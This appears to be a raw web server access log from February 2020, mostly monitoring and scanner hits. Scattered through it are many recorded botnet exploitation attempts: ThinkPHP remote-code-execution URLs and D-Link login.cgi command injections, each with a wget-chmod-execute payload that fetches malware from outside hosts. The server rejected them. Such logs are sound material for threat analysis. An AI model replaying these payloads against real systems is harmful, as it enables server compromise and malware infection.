212.91.246.72 - - [02/Feb/2020:10:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.141.193 - - [02/Feb/2020:10:46:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.84.233.77 - - [02/Feb/2020:10:50:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.188.78.79 - - [02/Feb/2020:10:50:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:10:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.58.35.193 - - [02/Feb/2020:10:52:57 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [02/Feb/2020:10:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.60.124 - - [02/Feb/2020:10:53:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
168.149.233.196 - - [02/Feb/2020:10:53:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.38.219 - - [02/Feb/2020:10:54:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.59.249 - - [02/Feb/2020:10:54:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [02/Feb/2020:10:56:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.234.37 - - [02/Feb/2020:10:59:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.77.199.108 - - [02/Feb/2020:11:01:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
36.67.223.231 - - [02/Feb/2020:11:01:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.84.48.138 - - [02/Feb/2020:11:02:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:11:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.17.34 - - [02/Feb/2020:11:02:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.147 - - [02/Feb/2020:11:05:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.230 - - [02/Feb/2020:11:07:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.208 - - [02/Feb/2020:11:09:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.243.221 - - [02/Feb/2020:11:10:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.216.140.6 - - [02/Feb/2020:11:10:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [02/Feb/2020:11:10:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [02/Feb/2020:11:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.216.140.6 - - [02/Feb/2020:11:10:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [02/Feb/2020:11:11:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [02/Feb/2020:11:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.216.140.6 - - [02/Feb/2020:11:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [02/Feb/2020:11:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.253.59.167 - - [02/Feb/2020:11:11:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.216.140.6 - - [02/Feb/2020:11:11:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.253.59.167 - - [02/Feb/2020:11:11:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.216.140.6 - - [02/Feb/2020:11:12:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [02/Feb/2020:11:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [02/Feb/2020:11:12:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.216.140.6 - - [02/Feb/2020:11:13:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [02/Feb/2020:11:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.216.140.6 - - [02/Feb/2020:11:14:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [02/Feb/2020:11:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.233.86.233 - - [02/Feb/2020:11:18:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [02/Feb/2020:11:18:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.76.176.184 - - [02/Feb/2020:11:20:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
150.136.246.63 - - [02/Feb/2020:11:21:14 +0100] "GET /user/register/ HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
150.136.246.63 - - [02/Feb/2020:11:21:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
212.91.246.72 - - [02/Feb/2020:11:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.150.107 - - [02/Feb/2020:11:21:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.198.1 - - [02/Feb/2020:11:22:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
150.136.246.63 - - [02/Feb/2020:11:24:29 +0100] "GET /user/register/ HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
150.136.246.63 - - [02/Feb/2020:11:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
212.91.246.72 - - [02/Feb/2020:11:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.136.121 - - [02/Feb/2020:11:25:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.143 - - [02/Feb/2020:11:28:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.34.167.211 - - [02/Feb/2020:11:30:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [02/Feb/2020:11:30:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
36.96.206.66 - - [02/Feb/2020:11:31:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.1.55 - - [02/Feb/2020:11:31:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.23.81.202 - - [02/Feb/2020:11:32:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [02/Feb/2020:11:35:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
177.87.188.253 - - [02/Feb/2020:11:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.116.227.24 - - [02/Feb/2020:11:35:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.154.130.188 - - [02/Feb/2020:11:36:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
80.227.149.26 - - [02/Feb/2020:11:36:14 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
80.227.149.26 - - [02/Feb/2020:11:36:14 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
107.170.96.6 - - [02/Feb/2020:11:36:15 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "212.91.246.84" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
212.91.246.72 - - [02/Feb/2020:11:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.80.251.254 - - [02/Feb/2020:11:36:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.44.25.0 - - [02/Feb/2020:11:38:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:11:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
150.136.246.63 - - [02/Feb/2020:11:38:26 +0100] "GET /user/register/ HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
150.136.246.63 - - [02/Feb/2020:11:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
169.197.108.6 - - [02/Feb/2020:11:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:11:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.87.47.236 - - [02/Feb/2020:11:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.76.142.201 - - [02/Feb/2020:11:39:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.70.95 - - [02/Feb/2020:11:40:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.105.227.62 - - [02/Feb/2020:11:40:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:11:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.201.254 - - [02/Feb/2020:11:41:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
